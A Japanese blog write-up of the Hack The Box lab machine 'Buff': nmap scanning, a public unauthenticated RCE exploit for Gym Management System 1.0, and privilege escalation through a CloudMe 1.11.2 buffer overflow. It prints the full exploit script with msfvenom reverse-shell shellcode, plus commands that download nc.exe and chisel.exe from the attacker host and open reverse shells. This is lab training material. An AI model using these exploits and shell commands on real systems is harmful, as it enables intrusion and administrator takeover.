HTB: Buff Writeup

Hack The Box: Buffのwriteup。

マシン名がBuffなので、どこかでバッファオーバーフローでも使うのかな~などと考えながら臨んだ。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 08:08 EST
Nmap scan report for 10.129.2.18
Host is up (0.32s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.18 seconds

└─$ nmap -Pn -p- $RHOST -oG all-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 08:10 EST
Nmap scan report for 10.129.2.18
Host is up (0.31s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
7680/tcp open  pando-pub
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 2070.45 seconds

8080番ポートにてApacheが実行されているのが確認できた。(後に全ポートをスキャンしたところ、7680番ポートも開いていたが、攻略には関係ないため割愛)

http://10.129.2.18:8080/をブラウザで表示したところ、スポーツジムのwebサイトが現れた。

で、Contactタブ (http://10.129.2.18:8080/contact.php) をクリックしたところ、Made using Gym Management Software 1.0 という一文が目についた。

Gym Management Softwareとは何ぞやとググったら、あっさりと遠隔コード実行のエクスプロイトが見つかった。

searchsploitでエクスプロイトをコピー。

└─$ searchsploit gym management
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection                                                                                                                                   | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass                                                                                                                                | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting                                                                                                                          | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution                                                                                                                | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored)                                                                                                                   | php/webapps/51777.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

└─$ searchsploit -m php/webapps/48506.py  
  Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48506
     Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/HTB/Dedicated-Labs/owasp10-windows/Buff/48506.py

エクスプロイトを実行したところ、すんなりとwebshellが起動した。

└─$ python2 48506.py http://$RHOST:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,                                                                                                                                                             
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun

C:\xampp\htdocs\gym\upload> dir
�PNG
▒
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

01/01/2025  14:43    <DIR>          .
01/01/2025  14:43    <DIR>          ..
01/01/2025  14:43                53 kamehameha.php
               1 File(s)             53 bytes
               2 Dir(s)   8,084,635,648 bytes free

一般ユーザーのフラグc:\users\shaun\desktop\user.txtを発見。

C:\xampp\htdocs\gym\upload> dir c:\users\shaun\desktop     
�PNG
▒
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\users\shaun\desktop

14/07/2020  12:27    <DIR>          .
14/07/2020  12:27    <DIR>          ..
01/01/2025  13:07                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   8,093,433,856 bytes free

続いて権限昇格である。

最初はwebshell上で列挙を行っていたのだが、

  • カレントディレクトリを変更できない。
  • コマンドの内容によってはタイムアウトしてしまう。

などの問題が発生したため、きちんとしたシェルを仕込むことにした。

いくつか試したところ、Netcatからシェルを張ることが出来た。(msfvenomやPowerCatではシェルを張れなかった。理由は不明。)

curl http://10.10.16.174/nc.exe -o nc.exe
nc.exe 10.10.16.174 53 -e cmd.exe

└─$ rlwrap nc -nvlp 53 
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.2.18] 49693
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>

さて、列挙の結果、標的マシンにはCloudMe (ストレージソフト)がインストールされていることが判明した。

C:\xampp\htdocs\gym\upload> powershell -ep bypass "Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname"
�PNG
▒

DisplayName                                                   
-----------                                                   
CloudMe                                                       
                                                              
                                                              
Microsoft Visual C++ 2017 Redistributable (x86) - 14.12.25810 
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.12.25810
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.12.25810   
Microsoft Visual C++ 2017 Redistributable (x64) - 14.12.25810 
C:\xampp\htdocs\gym\upload>powershell -ep bypass "Get-ChildItem -Path C:\ -Include *cloudme* -File -Recurse -ErrorAction SilentlyContinue"
powershell -ep bypass "Get-ChildItem -Path C:\ -Include *cloudme* -File -Recurse -ErrorAction SilentlyContinue"


    Directory: C:\Users\shaun\Downloads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       16/06/2020     16:26       17830824 CloudMe_1112.exe  

またWinPEASより、CloudMeは8888番ポートで実行されているのが分かった。

╔══════════╣ Current TCP Listening Ports
╚ Check for services restricted from the outside 
  Enumerating IPv4 connections
                                                                                                                                                                                                                   
  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               135           0.0.0.0               0               Listening         960             svchost
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               5040          0.0.0.0               0               Listening         6248            svchost
  TCP        0.0.0.0               7680          0.0.0.0               0               Listening         3848            svchost
  TCP        0.0.0.0               8080          0.0.0.0               0               Listening         8980            C:\xampp\apache\bin\httpd.exe
  TCP        0.0.0.0               49664         0.0.0.0               0               Listening         548             wininit
  TCP        0.0.0.0               49665         0.0.0.0               0               Listening         1116            svchost
  TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1768            svchost
  TCP        0.0.0.0               49667         0.0.0.0               0               Listening         2196            spoolsv
  TCP        0.0.0.0               49668         0.0.0.0               0               Listening         668             services
  TCP        0.0.0.0               49669         0.0.0.0               0               Listening         684             lsass
  TCP        10.129.2.18           139           0.0.0.0               0               Listening         4               System
  TCP        10.129.2.18           8080          10.10.16.174          41462           Established       8980            C:\xampp\apache\bin\httpd.exe
  TCP        127.0.0.1             3306          0.0.0.0               0               Listening         9108            C:\xampp\mysql\bin\mysqld.exe
  TCP        127.0.0.1             8888          0.0.0.0               0               Listening         1988            CloudMe

ググったところ、CloudMeのバージョン1.11.2にはバッファオーバーフローの脆弱性がある模様。マシン名がBuffなのも加味すると、おそらくこれが権限昇格の突破口と思われる。

エクスプロイトをコピーして、攻撃マシンへリバースシェルが張られるように手直しした。(msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.174 LPORT=443 EXITFUNC=thread -b "\x00\x0d\x0a" -f python でシェルコードを生成)

searchsploit -m windows/remote/48389.py

└─$ cat 48389.py
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.174 LPORT=443 EXITFUNC=thread -b "\x00\x0d\x0a" -f python
buf =  b""
buf += b"\xdd\xc3\xbe\x38\x66\xd3\xba\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x70\x17\x03\x70\x17\x83\xd0"
buf += b"\x9a\x31\x4f\xdc\x8b\x34\xb0\x1c\x4c\x59\x38\xf9"
buf += b"\x7d\x59\x5e\x8a\x2e\x69\x14\xde\xc2\x02\x78\xca"
buf += b"\x51\x66\x55\xfd\xd2\xcd\x83\x30\xe2\x7e\xf7\x53"
buf += b"\x60\x7d\x24\xb3\x59\x4e\x39\xb2\x9e\xb3\xb0\xe6"
buf += b"\x77\xbf\x67\x16\xf3\xf5\xbb\x9d\x4f\x1b\xbc\x42"
buf += b"\x07\x1a\xed\xd5\x13\x45\x2d\xd4\xf0\xfd\x64\xce"
buf += b"\x15\x3b\x3e\x65\xed\xb7\xc1\xaf\x3f\x37\x6d\x8e"
buf += b"\x8f\xca\x6f\xd7\x28\x35\x1a\x21\x4b\xc8\x1d\xf6"
buf += b"\x31\x16\xab\xec\x92\xdd\x0b\xc8\x23\x31\xcd\x9b"
buf += b"\x28\xfe\x99\xc3\x2c\x01\x4d\x78\x48\x8a\x70\xae"
buf += b"\xd8\xc8\x56\x6a\x80\x8b\xf7\x2b\x6c\x7d\x07\x2b"
buf += b"\xcf\x22\xad\x20\xe2\x37\xdc\x6b\x6b\xfb\xed\x93"
buf += b"\x6b\x93\x66\xe0\x59\x3c\xdd\x6e\xd2\xb5\xfb\x69"
buf += b"\x15\xec\xbc\xe5\xe8\x0f\xbd\x2c\x2f\x5b\xed\x46"
buf += b"\x86\xe4\x66\x96\x27\x31\x28\xc6\x87\xea\x89\xb6"
buf += b"\x67\x5b\x62\xdc\x67\x84\x92\xdf\xad\xad\x39\x1a"
buf += b"\x26\xd8\xb7\x34\x18\xb4\xc5\x34\x65\xfe\x43\xd2"
buf += b"\x0f\x10\x02\x4d\xb8\x89\x0f\x05\x59\x55\x9a\x60"
buf += b"\x59\xdd\x29\x95\x14\x16\x47\x85\xc1\xd6\x12\xf7"
buf += b"\x44\xe8\x88\x9f\x0b\x7b\x57\x5f\x45\x60\xc0\x08"
buf += b"\x02\x56\x19\xdc\xbe\xc1\xb3\xc2\x42\x97\xfc\x46"
buf += b"\x99\x64\x02\x47\x6c\xd0\x20\x57\xa8\xd9\x6c\x03"
buf += b"\x64\x8c\x3a\xfd\xc2\x66\x8d\x57\x9d\xd5\x47\x3f"
buf += b"\x58\x16\x58\x39\x65\x73\x2e\xa5\xd4\x2a\x77\xda"
buf += b"\xd9\xba\x7f\xa3\x07\x5b\x7f\x7e\x8c\x7b\x62\xaa"
buf += b"\xf9\x13\x3b\x3f\x40\x7e\xbc\xea\x87\x87\x3f\x1e"
buf += b"\x78\x7c\x5f\x6b\x7d\x38\xe7\x80\x0f\x51\x82\xa6"
buf += b"\xbc\x52\x87"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + buf))

buf = padding1 + EIP + NOPS + buf + overrun

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target,8888))
        s.send(buf)
except Exception as e:
        print(sys.exc_value)

が、ここで一つ問題が発生した。エクスプロイトはPythonで書かれているのだが、標的マシンにはPythonがインストールされていなかった。

C:\xampp\htdocs\gym\upload>where python
where python
INFO: Could not find files for the given pattern(s).

さらに、標的マシンはインターネットに接続されていないため、Pythonをダウンロードしてインストールすることもできない。

c:\Users\shaun>ping www.google.com
ping www.google.com
Ping request could not find host www.google.com. Please check the name and try again.

c:\Users\shaun>ping 8.8.8.8
ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

攻撃マシンからWindows用のPython関連のファイルを標的マシンに転送してみたが、上手く起動しなかった。

結局、ServMonの時と同様にポート転送を行うことで解決した。以下、手順。

標的マシンにはSSHがインストールされていなかったので、Chiselを使うことにした。

まずは標的マシンにChiselを仕込む。

powersehll -ep bypass
iwr -uri http://10.10.16.174/chisel.exe -outfile chisel.exe

続いて攻撃マシンにてChiselをサーバーモードで起動。

chisel server -p 8000 --reverse

最後に標的マシンにてChiselをクライアントモードで起動。

chisel.exe client 10.10.16.174:8000 R:8888:127.0.0.1:8888

これで攻撃マシンの127.0.0.1:8888宛の通信は、標的マシンの127.0.0.1:8888 (CloudMeのポート)へ転送される。

攻撃マシンにて、先述したバッファオーバーフローのエクスプロイトを実行。

python3 48389.py

するとエクスプロイトが標的マシンのCloudMeへと転送され、標的マシンから攻撃マシンへリバースシェルが張られた。

└─$ rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.2.18] 49720
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

CloudMeは管理者権限で実行されており、rootユーザーのフラグc:\users\administrator\desktop\root.txtを取ることが出来た。

C:\Windows\system32>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\users\administrator\desktop

18/07/2020  16:36    <DIR>          .
18/07/2020  16:36    <DIR>          ..
16/06/2020  15:41             1,417 Microsoft Edge.lnk
03/01/2025  14:10                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   7,361,699,840 bytes free

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.